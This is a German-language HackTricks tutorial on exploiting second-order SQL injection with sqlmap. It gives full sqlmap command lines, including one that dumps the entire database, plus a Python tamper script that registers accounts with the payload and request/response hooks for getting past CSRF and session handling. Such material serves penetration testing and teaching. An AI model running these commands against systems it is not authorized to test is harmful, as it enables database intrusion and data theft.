Second Order Injection mit SQLMap

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

SQLMap kann Second Order SQLis ausnutzen.
Du musst angeben:

  • Die request, in der das sqlinjection payload gespeichert wird
  • Die request, in der das payload ausgeführt wird

Die request, in der das SQL injection payload gespeichert wird, wird wie bei jeder anderen Injection in sqlmap angegeben. Die request, aus der sqlmap die Ausgabe/Ausführung der Injection lesen kann, kann mit --second-url oder mit --second-req angegeben werden, wenn du eine vollständige request aus einer Datei angeben musst.

Einfaches Second-Order-Beispiel:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

In mehreren Fällen wird dies nicht ausreichen, weil du andere Aktionen ausführen musst, außer das payload zu senden und eine andere Seite aufzurufen.

Wenn das nötig ist, kannst du ein sqlmap tamper verwenden. Zum Beispiel wird das folgende Script einen neuen User unter Verwendung des sqlmap payload als email registrieren und sich ausloggen.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Ein SQLMap tamper wird immer ausgeführt, bevor ein Injection-Versuch mit einem Payload gestartet wird und er muss einen Payload zurückgeben. In diesem Fall ist uns der Payload egal, aber es geht darum, einige Requests zu senden, also wird der Payload nicht verändert.

Wenn wir also aus irgendeinem Grund einen komplexeren Ablauf brauchen, um die second order SQL injection auszunutzen, wie zum Beispiel:

  • Ein Konto mit dem SQLi-Payload im Feld “email” erstellen
  • Logout
  • Mit diesem Konto einloggen (login.txt)
  • Eine Anfrage senden, um die SQL injection auszuführen (second.txt)

Diese sqlmap-Zeile hilft:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

Nützliche Switches in realen Second-Order-Flows

Second-order-Automation scheitert meist, weil die Payload-Speicheranfrage funktioniert, aber die Execution-Anfrage noisy, stateful oder geschützt ist. Wenn das passiert, sind die folgenden Flags meist nützlicher, als einfach mehr Payloads hinzuzufügen:

sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
  • --csrf-token, --csrf-url, --csrf-method: Nützlich, wenn die store- oder trigger-Request bei jedem Versuch ein frisches Anti-CSRF-Token braucht.
  • --live-cookies: Lädt Cookies vor jeder Request neu. Nützlich, wenn ein Browser/Burp-Makro den Session-Status im Hintergrund aktualisiert.
  • --safe-req und --safe-freq: Hält den Workflow am Laufen, wenn die Anwendung dich ausloggt oder die Session nach ein paar fehlgeschlagenen Probes ungültig macht.
  • --string, --not-string, --regexp, --code, --text-only: Nützlich, wenn die second-order response Banner, Ads, Timestamps oder vom User erzeugten Junk enthält, der das Diffing instabil macht.

When --tamper is not enough

tamper.py ist immer noch der einfachste Weg, um ein payload zu registrieren, auszuloggen, dich wieder einzuloggen und die Ausführung auszulösen. Auf modernen Targets ist es jedoch oft sauberer, einen Teil der Logik in request/response hooks zu verschieben:

  • --preprocess: Modifiziert die vollständige HTTP request, bevor sie gesendet wird. Nützlich, wenn ein second-order flow ein zusätzliches nonce, einen zusätzlichen Parameter oder Header-Normalisierung braucht.
  • --postprocess: Bereinigt die HTTP response, bevor sqlmap sie vergleicht. Nützlich, wenn der second-order sink in dynamisches HTML eingebettet ist und nur ein kleiner Ausschnitt stabil ist.

Beispielhafte request/response hooks:

#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code

Wichtige Einschränkungen

  • Gehe nicht davon aus, dass --second-req denselben Payload in einem *-Platzhalter in der zweiten request erneut abspielt. Wenn auch die Trigger-request den injizierten Wert (oder eine daraus abgeleitete Version) benötigt, ist meist ein benutzerdefiniertes tamper, --preprocess oder ein lokaler Proxy erforderlich.
  • Verlasse dich nicht auf --eval für die zweite request. Die offizielle usage dokumentiert --eval für den primary request flow; wenn die zweite request ebenfalls per Versuch mutationen benötigt, behandle das stattdessen in deinen Helper-Skripten.

Dieses Pattern ist besonders nützlich, wenn der Payload an Stellen gespeichert wird wie:

  • Filenames oder image metadata, die später abgefragt werden
  • Registration/profile fields, die später von admin panels verarbeitet werden
  • sorting/filtering preferences, die server-side gespeichert und später erneut abgespielt werden
  • Workflow state, der erst nach einer preview, export oder moderation action ausgeführt wird

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks